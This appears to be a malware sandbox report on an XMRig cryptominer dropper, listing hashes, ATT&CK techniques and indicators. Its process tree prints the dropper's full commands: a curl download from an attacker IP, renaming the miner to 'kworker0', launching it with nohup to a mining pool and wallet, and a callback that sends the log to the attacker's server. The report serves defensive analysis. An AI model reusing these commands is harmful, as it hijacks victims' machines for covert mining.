xmrig | 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379

Analysis

max time kernel
23s
max time network
3s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
21/10/2026, 04:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
Size 779B
Sample261021-e6vnbaeb89
SHA256 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
MD5 b3e97321db59a3ca78f8bc58e170b355
SHA1 69bfe4e73f9dc9f113aaf0899efc8cc5b7c31574
SHA512 c294d1da341b6db1d005cd7114a5508aae6c5f20e6d5f9bd95c372d6ab39e2814cc75dd60c20fd7d8067e0a18ffe0160bf2e1945ba634dca0fd43564863ab32d
TLSH
T1FB01FDF4BE20CC74374CC032AA1E527AE48A675B38B76A8AA0D398BC004D992B80D751
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral3/files/fstream-8.dat	family_xmrig
behavioral3/files/fstream-8.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
747	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/kworker0	748	nohup

Enumerates running processes
Discovers information about currently running processes on the system

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
829	ps

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/81/cmdline	ps
File opened for reading	/proc/724/stat	ps
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/236/status	ps
File opened for reading	/proc/342/stat	ps
File opened for reading	/proc/705/stat	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/342/cmdline	ps
File opened for reading	/proc/674/cmdline	ps
File opened for reading	/proc/680/status	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/680/cmdline	ps
File opened for reading	/proc/829/cmdline	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/69/status	ps
File opened for reading	/proc/127/status	ps
File opened for reading	/proc/176/status	ps
File opened for reading	/proc/370/status	ps
File opened for reading	/proc/828/cmdline	ps
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/74/status	ps
File opened for reading	/proc/252/stat	ps
File opened for reading	/proc/339/status	ps
File opened for reading	/proc/387/stat	ps
File opened for reading	/proc/714/stat	ps
File opened for reading	/proc/stat	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/36/cmdline	ps
File opened for reading	/proc/71/stat	ps
File opened for reading	/proc/76/cmdline	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/37/stat	ps
File opened for reading	/proc/82/stat	ps
File opened for reading	/proc/110/stat	ps
File opened for reading	/proc/110/cmdline	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/69/stat	ps
File opened for reading	/proc/78/status	ps
File opened for reading	/proc/252/status	ps
File opened for reading	/proc/382/cmdline	ps
File opened for reading	/proc/715/cmdline	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/18/cmdline	ps
File opened for reading	/proc/126/stat	ps
File opened for reading	/proc/127/cmdline	ps
File opened for reading	/proc/236/cmdline	ps
File opened for reading	/proc/369/cmdline	ps
File opened for reading	/proc/75/cmdline	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/36/stat	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
836	curl

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/one.log	893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
File opened for modification	/tmp/x.tgz	curl
File opened for modification	/tmp/miner.log	893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
File opened for modification	/tmp/S�@@p�~@8	sh

/tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
/tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
1⤵
- Writes file to tmp directory
PID:716
- /bin/date
  date
  2⤵
  PID:719
- /usr/bin/curl
  curl -m 120 -o /tmp/x.tgz http://195.85.114.192/xmrig.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:722
- /usr/bin/stat
  stat -c "%s" /tmp/x.tgz
  2⤵
  - Reads runtime system information
  PID:738
- /bin/tar
  tar xzf x.tgz
  2⤵
  - Reads runtime system information
  PID:740
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:742
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:742
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:742
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:742
- - /sbin/gzip
    gzip -d
    3⤵
    PID:742
- - /bin/gzip
    gzip -d
    3⤵
    PID:742
- /bin/mv
  mv xmrig-6.22.2/xmrig kworker0
  2⤵
  PID:746
- /bin/chmod
  chmod +x kworker0
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /bin/sleep
  sleep 20
  2⤵
  PID:749
- /usr/bin/nohup
  nohup /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  - Executes dropped EXE
  PID:748
- /tmp/kworker0
  /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  PID:748
- /bin/sh
  /bin/sh /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/grep
  grep -c kworke
  2⤵
  PID:830
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:829
- /usr/bin/tail
  tail -c 400 /tmp/one.log
  2⤵
  PID:832
- /usr/bin/tr
  tr -d "\"n"
  2⤵
  PID:833
- /usr/bin/tr
  tr "\"" "\"" "\"_\""
  2⤵
  PID:835
- /usr/bin/curl
  curl -m 8 "http://195.85.114.192/cb?ip=HOST1&log=1 start Wed Oct 21 05:33:39 BST 2026 % Total % Received % Xferd Average Speed Time Time Time Curret Dload Upload Total Spet Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 3427k 100 3427k 0 0 5173k 0 --:--:-- --:--:-- --:--:-- 5313k dl rc=0 size=3509741 tar ok lauched procs=12"
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

miner.log

Path /tmp/miner.log
Size 53B
SHA256 cd4fc8b42b8f6d1cda88bd45d18754b17c7bab3dc2edd1ebf8c0772302c4d1a3
MD5 7972308cc4bf789701854045187ea7a5
SHA1 a9f4a1f163e512399d02ca17a7ff62d724f096c3
SHA512 bcc01d52f530e48eeb441e2bcf178b05633af3509259391dcb89e02eeacfd5816de20b40e4dbb628ca9ee21ab66df084fdb085b6ee375fe51bf864ccb0fa777d
MD5 SHA1 SHA512

Submit Download

miner.log

Path /tmp/miner.log
Size 127B
SHA256 57d5bdd729640f67141cd10540b6fcad5ec16f1e3995d462550a6cd3dda29e38
MD5 829842534587055b4ce9aa862e3db8e7
SHA1 5940fac68338a91da30537f3f3d98616fcfd124a
SHA512 7d6b480b586b147d0cb7240408fb54998b59a14f29fa9187a013ce3de69dc4eb9201542543432eff5b799c62a76b0983793e1273a52529c635352b7c2b28981d
TLSH
T1C0B0121D0DC2C5C4371001F44E600760C1010EBF1EF32117085FC03B40C7C008C54748
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 404B
SHA256 62ce44f9dfe5655cb1d8b5d5c1812a0691a43e1bf6ed39750080bfc57b9a1762
MD5 85cb66e3c5a2cd093c20cddfec950bbf
SHA1 a5f71e525b4b6645e31e75f4be856e1e9dd13526
SHA512 2323ac782019aca4355b57df5f6e29dc5fbbbb341476da1d4063a1690c1b831b4569e0efc75dd92c8e9eb61a7a19642778977dd2df75929b121bbcd99b5214b4
TLSH
T167E0DF020D04021F65E5C051B540FA79679C828D2C12E5D336DD01CCA7BB743CECB081
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 41B
SHA256 af8e90aca75752e7d8fd4f31ff107dd55ae3174daf08bcff28564d099a7d49ed
MD5 98a0eb9ba75a67571936a6ec272978eb
SHA1 3e4d476f40f32430f30062151d09058c3ca71e97
SHA512 14d7553f03f8016a0ca7f35f483a522727ccd90af71bad6b620caf90a4e10514d2788d918126224d3ec9743f750530bb449e5623941626c80bb3fbcbb3069bfe
MD5 SHA1 SHA512

Submit Download

one.log

Path /tmp/one.log
Size 358B
SHA256 f5c7137050b4d823e1423b57f476eb30f626e9e415d35949109fe13f1fe3beb0
MD5 76e805fd562dc4ab11f9687ae6b26be7
SHA1 154f8ea9740bae0b320d41b96a565b52205bd593
SHA512 73da838c7a7712ebdb856d58ca291c86cbfed32df7d8998ed205362b707ce84e5dc92fad6ed54188a9e87b374f31e05f4111d474d205b293a13bead18b2c13a9
TLSH
T1DEE012064E14421F65E5C055B541FA7DA79C858D2C03E5D335CD05CC97B7753DECB191
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 379B
SHA256 79f434f23dd45fa751790bdaf7519346e49d53442cf9028cbe6a94c799b724f2
MD5 311f8093a8f6f8f283cc9912911a4159
SHA1 5d5727091f20439d9e9c84d43a424fd5d388af9c
SHA512 a48f5cf96036d50137fd6db93b2fe7a02a2c0a4224079089dfa0ad3be74df3f93c25f21331b2479e440bedd76baf248e4a3b5c130aa6e0f7e4f4c6f2f9f71bfe
TLSH
T14DE08C020E04422FA5E5C051B640FAB9A79C818D2C12E5D339DD05CCA7B7793CECB181
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 386B
SHA256 c6cdbdec83007c6878df0d745eb81d90de90348f6c28641f3fc30c03eb391f68
MD5 f8c386699a65b0c629de1045617a9aa9
SHA1 76536516d9b3a0ae598812fee7927470ca914f95
SHA512 30736f7988cb78b5b504c9f374ea1d14da29ab8501b80898fce4dd4e4e95fec4af3b8429df6aa2d30cd6890fd943f62c33bdc0ba489a2b3bc2c5cebead327ddf
TLSH
T18FE08C020E04422FA5E5C051B640FAB9A79C868D2C12E5D33ADD05CCA7B7793CECB181
MD5 SHA1 SHA512 TLSH

Submit Download

x.tgz

Path /tmp/x.tgz
Size 3.3MB
SHA256 b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7
MD5 8feb9a1c7da97b6e0d254d93da37371d
SHA1 090510d9ac1aedbce99fe98cc7396cfcfe6a3951
SHA512 2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db
SSDEEP 98304:z76rYWTjsJINfKYi8t4jQ8Vf1nShTOSBU+:z76NfN7TW2T3F
TLSH
T14CF5335F9711B7C7122820EE5362B60A4B0C6895EC167BC4A5F1692A366F1CF237FD23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SHA256SUMS

Path /tmp/xmrig-6.22.2/SHA256SUMS
Size 150B
SHA256 cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
MD5 554d057fe1c4eab2071450cf6c434dc5
SHA1 9fa4d5aa72d698f72d105fce0bd44657f244c7e6
SHA512 be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
TLSH
T15FC08C52463CC4515422C923AA91DD94832636122753598940ABA21696AAE02CDB3C20
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path /tmp/xmrig-6.22.2/config.json
Size 2KB
SHA256 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
MD5 66f38c96a4901e7b345787c447842b3e
SHA1 2aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA512 71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
TLSH
T16E419E25C9781CFA0295A0BC88EDA2934628C1075F593C7CB54C995C2F0E73E76B6BE2
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig

Path /tmp/xmrig-6.22.2/xmrig
Size 7.9MB
SHA256 b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
MD5 8f4fff0ded94f1141768220906abfbb8
SHA1 ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA512 0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee
SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3R1lrepM:bl4lcmDi1WIPFCBNcJ7oEkLsQ
TLSH
T134866C47B5E318FDC19AC470472FD6A3BD7078A84221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads